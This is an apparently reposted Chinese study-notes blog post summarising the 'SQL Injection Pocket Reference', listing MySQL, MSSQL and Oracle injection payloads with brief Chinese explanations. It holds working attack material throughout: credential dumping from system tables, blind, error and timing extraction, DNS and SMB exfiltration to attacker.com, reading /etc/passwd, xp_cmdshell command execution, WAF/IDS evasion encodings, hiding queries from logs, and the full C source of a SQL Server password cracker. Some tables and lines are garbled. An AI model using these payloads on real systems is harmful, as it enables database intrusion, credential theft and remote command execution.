读”SQL Injection Pocket Reference”之摘录
測試結果如下:
上圖中的--是注釋,-起占位作用
如上圖所示,這個LIKE的用法在新版本中被當成了warning。
?
2.Testing Version
VERSION();
@@VERSION;
@@GLOBAL.VERSION
Example:?' AND MID(VERSION(),1,1) = '5??- True if MySQL version is 5
截圖如下:
如上圖所示,當使用AND不會出來結果,而使用OR會出來結果。
3.MySQL-specific code
MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.
Example:
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null-- x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
上述例子是說,當!后面加上版本號之后,版本號之后的命令是可以執行的。
4.Databasae Credentials
Table:mysql.user(Privileged) Columns:user, password Current User: user(), current_user(),system_user(),session_user()Example:
SELECT current_user; UNION SELECT CONCAT(user, 0x3A, passowrd) FROM mysql.user WHERE user = 'root'5.Database Names
Tables: information_schema.schemata,mysql_db Columns: schema_name, db Current DB:database(), schema()Example:
UNION SELECT schema_name FROM infomation_schema.schemata SELECT DISTINCT(db) FROM mysql.db (Privileged)注:distinct一般是用來去除查詢結果中的重復記錄的,而且這個語句在select、insert、delete和update中只可以在select中使用。
6.Tables & Columns
Finding out number of columns
Order By 1
ORDER BY 1 ORDER BY 2 ORDER BY ...Keep incrementing the number until you get a False response
Example:
1' ORDER BY 1-- - True 1' ORDER BY 2-- - True 1' ORDER BY 3-- - True 1' ORDER BY 4-- - False(Query is only using 3 columns) -1' UNION SELECT 1,2,3-- -Error Based
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1 Operand should contain 3 column(s)Note:
? ? ? ? 這個示例要工作起來,當你知道table名,并且需要有錯誤提示
? ? ? ? 這會返回表中列的數量,而不是查詢結果。
7.Retrieving Tables(檢索表)
Union:
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;Blind:
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'Error:
1.AND (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) 2.(@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); 3.AND ExtractValue(1,CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1))); --Available in 5.1.5注:
concat()函數:將多個字符串連接成一個字符串。語法:concat(str1,str2, ...)返回結果為連接參數產生的字符串,如果有任何一個參數為null,則返回值為null。group_concat()函數:在有group by的查詢語句中,select指定的字段要么就包含在group by語句的后面,作為分組的依據,要么就包含在聚合函數中。group_concat()會計算哪些行屬于同一組,將屬于同一組的列顯示出來。要返回哪些列,由函數參數(就是字段名)決定。分組必須有個標準,就是根據group by指定的列進行分組。substr()函數是用來截取數據庫某一列字段中的一部分SUBSTR(str, pos);就是從pos開始的位置,一直截取到最后。SUBSTR(str,pos,len);就是從pos開始的位置,截取len個字符(空白也算字符)。EXTRACTVALUE(XML_document, XPath_string) 第一個參數:XML_document是String格式,為XML文檔對象的名稱第二個參數:XPath_string(XPath格式的字符串)。作用:從目標XML中返回包含所查詢值得字符串。8.Retrieving Columns
?Union:
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'Blind:
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'Error:
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)-- Fixed in MySQL 5.1NOTE:
Output is limited to 1024 chars by default. All default database table names:~900 chars All default database column names:~6000 chars9.PROCEDURE ANALYSE()
1 PROCEDURE ANALYSE() # get first column name 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name 1 LIMIT 2,1 PROCEDURE ANALYSE()Note:? It is necessary that the web display the first selected column of the SQL query you are injecting to.
10.Retrieving Multiple Tables/Columns at once
(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x) UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns11.Find Tables from Column Name
SELECT table_name FROM information_schema.columns WHERE column_name = 'username'; --Finds the table names for any columns named username如上命令截圖如下,用列名來撞表名:
如上命令截圖如下:
12.Find Column From Table Name
SELECT column_name FROM information_schema.columns WHERE table_name = 'Users'; SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';13.Avoiding the use of single/double quotations
UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=0x61646D696E /*admin*/ UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username=CHAR(97, 100, 109, 105, 110)注:CHAR(N,... [USING charset])
CHAR()將每個參數N理解為一個整數,其返回值為一個包含這些整數的代碼值所給出的字符的字符串。NULL值被忽略。
14.String concatenation
SELECT CONCAT('a','a','a') SELECT 'a' 'd' 'mi' 'n' SELECT/**/'a'/**/ 'd'/**/ 'mi'/**/ 'n'15.Privileges
? ? ?FILE privilege
? ? ?MySQL 4/5?
' UNION SELECT file_priv FROM mysql.user WHERE user = 'username ' AND MID((SELECT file_priv FROM mysql.user WHERE user = 'username'),1,1) = 'Y? ? MySQL 5
' UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username% ' AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%'),1,1)='Y16.Out Of Band Channeling
? 16.1 Timing(定時)
BENCHMARK() /*用來測試Mysql性能的,該函數知識簡單地返回服務器執行表達式的時間,而不會涉及分析和優化的開銷*/ SLEEP() (MySQL 5) /*sleep(N)強制讓語句停留N秒鐘*/ IF(), (CASE()WHEN) /*IF(expr1,expr2,expr3)如果expr1是TRUE(expr1<>0 and expr1<>NULL,則IF()的返回值為xpr2;否則返回值則為expr3;IF()的返回值為數字值閎字符串值。*/Example:
' - (IF(MID(version(),1,1) LIKE 5,BENCHMARK(100000,SHA1('test')), false)) - '注:BENCHMARK(count,expr)? ?BENCHMARK()函數重復countTimes次執行表達式expr,它可以用于計時MySQL處理表達式有多快。
這里需要看一下隱士類型轉換的知識點,參考鏈接:http://blog.csdn.net/hw_libo/article/details/39252427
? 16.2 DNS(requires FILE privilege)
SELECT LOAD_FILE(concat('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));? 16.3 SMB(requires FILE privilege)
' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt? ?16.4 Reading Files(requires FILE privilege)
? ? ? LOAD_FILE()? MYSQL注入中,load_file()函數在獲得webshell以及提權過程中起到十分重要的作用,常被用來讀取各種配置文件。
UNION SELECT LOAD_FILE('/etc/passwd')-- - UNION SELECT LOAD_FILE(0x2F6574632F706173737764)-- -? ? ? Note:
File musht be located on the server host The basedirectory for load_file() is the @@datadir The file must be readable by the MySQL user The file size must be less than max_allowed_packet UNION SELECT @@max_allowed_packet(default value is 1047552 Byte)? ? 16.5 Writing Files(requires FILE privilege)
? ? ? INTO OUTFILE/DUMPFILE
UNION SELECT 'code' INTO OUTFILE '/tmp/file? ? ? Note:
You can't overwrite files with INTO OUTFILE INTO OUTFILE must be the last statement in the query There is no way to encode the pathname, so quotes are required? ? ?16.6 Stacked Queries with PDO
? ? ? Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.
? ? ? Example:
AND 1=0; INSERT INTO Users(username,password,priv) VALUES('BobbyTables','k120da$$','admin');上面的命令真正有威力的是insert語句,不過也是在知道字段名稱和表名的前提下。
17.Fuzzing and Obfuscation(模糊和混淆)
? ? ?17.1?Allowed Intermediary Characters(允許中介角色)
09 0A 0B 0C 0D A0 20? ? ? ? ?Example: '%0A%09UNION%0CSELECT%A0NULL%23
28 29? ? ? ? ?Example:UNION(SELECT(column)FROM(table))
? ? ? ? ?Note:
? ? ? ? ?Futhermore,by using # or -- followed by a newline,we can split the query into separate lines, sometimes tricking the IDS.
1'# AND 0-- UNION# I am a comment! SELECT@tmp:=table_name x FROM-- `information_schema`.tables LIMIT 1#? ? ? ? ? URL Encoded:1'%23%0AAND 0--%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM--%0A`information_schema`.tables LIMIT 1%23
? ? ? ? ?17.2 Allowed Intermediary Characters after AND/OR
2B 2D 7E? ? ? ? ?Example:SELECT 1 FROM dua1 WHERE 1=1 AND-+-+-+~~((1))
? ? ? ? ? ?$prefixes = array(" ", "+", "-", "~", "!", "@"); //創建數組
? ? ? ? ? Operators
$operators = array("^", "=", "!=", "%", "/", "*", "&", "&&", "|", "||", "<", ">", ">>", "<<", ">=", "<=", "<>", "<=>", "AND", "OR","XOR", "DIV", "LIKE", "RLIKE", "SOUNDS LIKE", "REGEXP", "IS", "NOT");? ? ? ? ? Constants
current_user null, \N true, false18.MSSQL
? ? Default Databases
? ? ? ? pubs? ? ? ? ? ? ?Not available on MSSQL 2005
? ? ? ? model? ? ? ? ? ?Available in all versions
? ? ? ? msdb? ? ? ? ? ? Available in all versions
? ? ? ? tempdb? ? ? ? Available in all versions
? ? ? ? northwind? ? Available in all versions
? ? ? ? information_schema? ? Available from MSSQL 2000 and higher
? ? Comment Out Query
? ? ? ? ?/*? ? ? ? ?C-style comment
? ? ? ? --? ? ? ? ? SQL comment
? ? ? ? ;%00? ? ?Nullbyte
? ? ?Example:
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = ''; SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';? ? 截圖如下:
? ? ??
? ?
? ?如上圖所示,第二個例子中如果是/*,會提示缺少*/,所以改成--即可執行。
19.Testing Version
? ? ?@@VERSION
? ? ? Example:
True if MSSQL version is 2008. SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';? ? ? 截圖如下:
? ? ? ? ? ??
? ? ?Note:? ? Output will also contain the version of the Windows Operating System.
?20.Database Credentials
| Database..Table | master..syslogins, master..sysprocesses |
| Columns | name, loginame |
| Current User | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
| Database Credentials | SELECT user, password FROM master.dbo.sysxlogins |
Example:
Return current user: SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;check if user is admin: SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);?截圖如下:
? ?
21.Database Names
| Database.Table | master..sysdatabases |
| Column | name |
| Current DB | DB_NAME(i) |
? ? Example:
SELECT DB_NAME(5); SELECT name FROM master..sysdatabases;? ??
? ? ?
22.Server Hostname
| @@SERVERNAME |
| SERVERPROPERTY() |
Example:
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');? ?Note: SERVERPROPERTY() is available from MSSQL 2005 and higher.
? ?截圖如下:
? ?
23.Tables and Columns
? ? 23.1 Determining number of columns
ORDER BY n+1;? ? ? Example:
Given the query: SELECT username, password, permission FROM Users WHERE id = '1';1' ORDER BY 1-- True 1' ORDER BY 2-- True 1' ORDER BY 3-- True 1' ORDER BY 4-- False - Query is only using 3 columns -1' UNION SELECT 1,2,3-- True? ? ?截圖:
? ? ?
? ? ?Note:? ?Keep incrementing the number until you get a False response.
? ? ?The following can be used to get the columns in the current query.
GROUP BY / HAVING? ? ? Example:
Given the query:SELECT username, password, permission FROM Users WHERE id = '1'; 1' HAVING 1=1-- Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username HAVING 1=1-- Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username, password HAVING 1=1-- Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. 1' GROUP BY username, password, permission HAVING 1=1-- No Error? ? ?截圖如下:
? ? ?
? ? ?Note:? ?No error will be returned once all columns have been included.
24.Retrieving Tables
? ? ?We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.
? ? ?注: dbname..tablename =>? ?dbname.dbo.tbname
? ? ?Union:
UNION SELECT name FROM master..sysobjects WHERE xtype='U'? ? ?Blind:
AND SELECT SUBSTRING(table_name, 1,1) FROM information_schema.tables > 'A'? ? ?Error:
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'? ? ?截圖如下:
? ? ?
? ? ??
? ? ? ?Note:? ?Xtype = 'U' is for User-defined tables. You can use 'V' for views.
24.Retrieving Columns
? ? ?We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.
? ? ?Union:
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')? ? ? Blind:
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'? ? ?Error:
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns) AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))25.Retrieving Multiple Tables/Columns at once
? ? ?The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.
Create Temp Table/Column and Insert Data: AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;?截圖如下:
??
Dump Content: AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);?
Delete Table: AND 1=0; DROP TABLE TMP_DB;??
? An easier method is available starting with MSSQL 2005 and higher.The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH ('') //SQL Server 2005+截圖如下(當%2b編碼成+號的時候):
? ? ?
?Note:
? ? ? ? You can encode your query in hex to "obfuscate" your attack.
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f5020544142c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--26.Avoiding the use of quotations
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110) //admin? 截圖如下:
27.String Concatenation
| SELECT CONCAT('a', 'a', 'a');?(SQL SERVER 2012) |
| SELECT 'a'+'d'+'mi'+'n'; |
? ? ??
28.Conditional Statements
| IF???? |
CASE |
? ?Examples:
IF 1=1 SELECT 'true' ELSE SELECT 'false'; SELECT CASE WHEN 1=1 THEN true ELSE false END; //true 和 false需要加單引號包括起來,否則出錯? ???
? ? Note: IF cannot be used inside a SELECT statement.
29. Timing
WAITFOR DELAY 'time_to_pass'; WAITFOR TIME 'time_to_execute';? ?注: WAITFOR的作用是等待特定時間,然后繼續執行后續的語句。它包含一個參數DELAY,用來指定等待的時間。如果將該語句成功注入后,會造成數據庫返回記錄和Web請求也會相應延遲特定的時間。由于該語句不涉及條件判斷等情況,所以容易注入成功。根據Web請求是否有延遲,滲透人員就可以判斷網站是否存在漏洞。其中,WAITFOR DELAY '0:0:4' --表示延遲4秒,再繼續執行。這樣網頁響應會延遲4秒。由于WAITFOR不是SQL的標準語句,所以它只適用于SQL Server數據庫。??
? ? Example:
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';? ? ??
30.OPENROWSET Attacks
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd','SET DMTONLY OFF execute master..xp_cmdshell "dir"');? ??
31.System Command Execution
? ? Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
EXEC master.dbo.xp_cmdshell 'cmd';? ? ? ?Starting with version MSSQL 2005 and higher,xp_cmdshell is disabled by default, but can be activated with the following queries:
EXEC sp_configure 'show advanced options', 1 |
| EXEC sp_configure reconfigure???? |
| EXEC sp_configure 'xp_cmdshell', 1 |
| EXEC sp_configure reconfigure |
? ? ? ? ?
? ? ?
? ? ? ?
? ? ?
? ? ? ? Alternatively, you can create your own procedure to achieve the same results:
| DECLARE @execmd INT |
| EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT |
| EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c' |
? ? ? ??
? ? ? if the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:
EXEC sp_configure 'show advanced options', 1 |
| EXEC sp_configure reconfigure |
| EXEC sp_configure 'OLE Automation Procedures',1 |
| EXEC sp_configure reconfigure |
Example:
32.SP_PASSWORD(Hiding Query)
? ? ?Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
SP_PASSWORD32.Stacked Queries
? ? ?MSSQL supports stacked queries.
? ? ?Example:
' AND 1=0 INSERT INTO ([column1],[column2]) VALUES('value1', 'value2');33.Fuzzing and Obfuscation
Allowed Intermediary Characters
The following characters can be used as whitespaces.
01 | Start of Heading |
| 02 | Start of Text |
| 03 | End of Text |
| 04 | End of Transmission |
| 05 | Enquiry |
| 06 | Acknowledge |
| 07 | Bell |
| 08 | Backspace |
| 09 | Horizontal Tab |
| 0A | New Line |
| 0B | Vertical Tab |
| 0C | New Page |
| 0D | Carriage Return |
| 0E | Shift Out |
| 0F | Shift In |
| 10 | Data Link Escape |
| 11 | Device Control 1 |
| 12 | Device Control 2 |
| 13 | Device Control 3 |
| 14 | Device Control 4 |
| 15 | Negative Acknowledge |
| 16 | Synchronous Idle |
| 17 | End of Transmission Block |
| 18 | Cancel |
| 19 | End of Medium |
| 1A | Substitute |
| 1B | Escape |
| 1C | File Separator |
| 1D | Group Separator |
| 1E | Record Separator |
| 1F | Unit Separator |
| 20 | Space |
| 25 | % |
? ? Example:
S%E%L%E%C%T%01column%02FROM%03table; A%%ND 1=%%%%%%%%1;? ? ? Note: The percentage sign in between keywords is only possible on ASP(x) web applications.
The following characters can be also used to avoid the use of spaces.
? ? ?
| 22 | " |
| 28 | ( |
| 29 | ) |
| 5B | [ |
| 5D | ] |
- asd
- asdf
- f
? ?Example:
UNION(SELECT(column)FROM(table)); SELECT"table_name"FROM[information-schema].[tables];? ? ?截圖如下:
? ? ??
34.Allowed Intermediary Characters after AND/OR
| 01 - 20 | Range |
| 21 | ! |
| 2B | + |
| 2D | - |
| 2E | . |
| 5C | \ |
| 7E | ~ |
? ? Example:
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;? ?Note: The backslash does not seem to work with MSSQL 2000.
? ?
35.Encoding
? ? ?Encoding your injection can sometimes be useful for WAF/IDS evasion.
| URL Encoding | SELECT %74able_%6eame FROM information_schema.tables; |
| Double URL Encoding | SELECT %2574able_%256eame FROM information_schema.tables; |
| Unicode Encoding | SELECT %u0074able_%u6eame FROM information_schema.tables; |
| Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
| Hex Encoding | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
| HTML Entities (Needs to be verified) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
36.Password Hashing
? ??Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.
37.Password Cracking
? ?This tool is designed to crack Microsoft SQL Server 2000 passwords.
/ // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // // #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) {int err = 0;if(argc !=3){printf("\n\n*** SQLCrack *** \n\n");printf("C:\\>%s hash passwd-file\n\n",argv[0]);printf("David Litchfield (david@ngssoftware.com)\n");printf("24th June 2002\n");return 0;}err = OpenPasswordFile(argv[2]);if(err !=0){return printf("\nThere was an error opening the password file %s\n",argv[2]);}err = CrackPassword(argv[1]);fclose(fd);printf("\n\n%d",wd);return 0; } int OpenPasswordFile(char *pwdfile) {fd = fopen(pwdfile,"r");if(fd)return 0;elsereturn 1; } int CrackPassword(char *hash) {char phash[100]="";char pheader[8]="";char pkey[12]="";char pnorm[44]="";char pucase[44]="";char pucfirst[8]="";char wttf[44]="";char uwttf[100]="";char *wp=NULL;char *ptr=NULL;int cnt = 0;int count = 0;unsigned int key=0;unsigned int t=0;unsigned int address = 0;unsigned char cmp=0;unsigned char x=0;HCRYPTPROV hProv=0;HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94){return printf("\nThe password hash is too short!\n");} if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')){hash = hash + 2;strncpy(pheader,hash,4);printf("\nHeader\t\t: %s",pheader);if(strlen(pheader)!=4)return printf("%s",lerr);hash = hash + 4;strncpy(pkey,hash,8);printf("\nRand key\t: %s",pkey);if(strlen(pkey)!=8)return printf("%s",lerr);hash = hash + 8;strncpy(pnorm,hash,40);printf("\nNormal\t\t: %s",pnorm);if(strlen(pnorm)!=40)return printf("%s",lerr);hash = hash + 40;strncpy(pucase,hash,40);printf("\nUpper Case\t: %s",pucase);if(strlen(pucase)!=40)return printf("%s",lerr);strncpy(pucfirst,pucase,2);sscanf(pucfirst,"%x",&cmp);} else{return printf("The password hash has an invalid format!\n");} printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)){if(GetLastError()==NTE_BAD_KEYSET){// KeySet does not exist. So create a new keysetif(!CryptAcquireContext(&hProv,NULL,NULL,PROV_RSA_FULL,CRYPT_NEWKEYSET )){printf("FAILLLLLLL!!!");return FALSE;}} } while(1){// get a word to try from the fileZeroMemory(wttf,44);if(!fgets(wttf,40,fd))return printf("\nEnd of password file. Didn't find the password.\n");wd++;len = strlen(wttf);wttf[len-1]=0x00;ZeroMemory(uwttf,84);// Convert the word to UNICODEwhile(count < len){uwttf[cnt]=wttf[count];cnt++;uwttf[cnt]=0x00;count++;cnt++;}len --;wp = &uwttf;sscanf(pkey,"%x",&key);cnt = cnt - 2;// Append the random stuff to the end of// the uppercase unicode passwordt = key >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 8;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 16;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++;t = key << 24;t = t >> 24;x = (unsigned char) t;uwttf[cnt]=x;cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)){printf("Error %x during CryptCreatHash!\n", GetLastError());return 0;} if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)){printf("Error %x during CryptHashData!\n", GetLastError());return FALSE;} CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp){// If first byte matches try the restptr = pucase;cnt = 1;while(cnt < 20){ptr = ptr + 2;strncpy(pucfirst,ptr,2);sscanf(pucfirst,"%x",&cmp);if(szhash[cnt]==cmp)cnt ++;else{break;}}if(cnt == 20){// We've found the passwordprintf("\nA MATCH!!! Password is %s\n",wttf);return 0;}}count = 0;cnt=0;}return 0; }38. Oracle
? ?Default Databases
| SYSTEM | Available in all versions |
| SYSAUX | Available in all versions |
?39.Comment Out Query
? ?The following can be used to comment out the? rest of the query after your injection:
| -- | SQL comment |
? ?Example:
SELECT * FROm Users WHERE username = '' OR 1=1 --' AND password = '';? ? 截圖如下:
? ??
40.Testing Version
| SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; |
| SELECT banner FROM v$version WHERE banner LIKE 'TNS%'; |
| SELECT version FROM v$instance; |
? 截圖如下:
? ?
? ??
? ? Notes:
? ? ? ? All SELECT statements in Oracle must contain a table.
? ? ? ? dual is a dummy table which can be used for testing.
41.Database Credentials
| SELECT username FROM all_users; | Available on all versions |
| SELECT name, password from sys.user$; | privileged , <= 10g |
| SELECT name, spare4 from sys.user$; | Privileged, <= 11g |
截圖如下:
???
? ?
42.Database Names
? ? Current Database
SELECT name FROM v$database; |
| SELECT instance_name FROM v$instance |
| SELECT global_name FROM global_name |
| SELECT SYS.DATABASE_NAME FROM DUAL; |
User Databases
SELECT DISTINCT owner FROM all_tables;Server Hostname:
| SELECT name FROM v$instance; (Privileged) |
| SELECT UTL_INADDR.get_host_name FROM dual; |
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; |
| SELECT UTL_INADDR.get_host_address FROM dual; |
43.Tables and Columns
? ? ?Retrieving Tables
SELECT table_name FROm all_tables;? ??
? ?Restrieving Columns:
SELECT column_name FROM all_tab_columns;? ? ? ?
?Find Tables from Column Name
SELECT table_name FROM all_tab_tables WHERE table_name = 'Users';? ? ?
? ?Find Columns From Table Name
SELECT table_name FROM all_tab_tables WHERE column_name = 'password';? ? ?
? ?Retrieving Multiple Tables at once
SELECT RTRIM(XMLAGG(XMLAGG(XMLELEMENT(e, table_name || ',')).EXTRACT('//text()').EXTRACT('//text()'),',') FROM all_tables;Avoiding the use of quotations
? ? Unlike other RDBMS, Oracle allows table/column names to be encoded.
| SELECT 0x09120911091 FROM dual; | Hex Encoding. |
| SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; | CHR() Function. |
? ? ??
? ?String Concatenation
SELECT 'a'||'d'||'mi'||'n' FROM dual;? ? ? ?Conditional Statements
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual? ? ? ?
? ? ? ?Timing
? ? ? ? Time Delay
SELECT UTL_INADDR.get_host_address('non-existant-domain.com') FROM dual;? ? ? ? ? Heavy Time Delays
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1));? ? ? ? ? Privileges
| SELECT privilege FROM session_privs; |
| SELECT grantee, granted_role FROM dba_role_privs; (Privileged) |
? ? ? ? ? ?
? ? ? ?Out of Band Channeling
? ? ? ? ? DNS Requests
| SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual; |
| SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual; |
總結
以上是生活随笔為你收集整理的读”SQL Injection Pocket Reference”之摘录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 记录如何防止跨站点脚本攻击之抄写
- 下一篇: 记录SQL server学习的存储过程的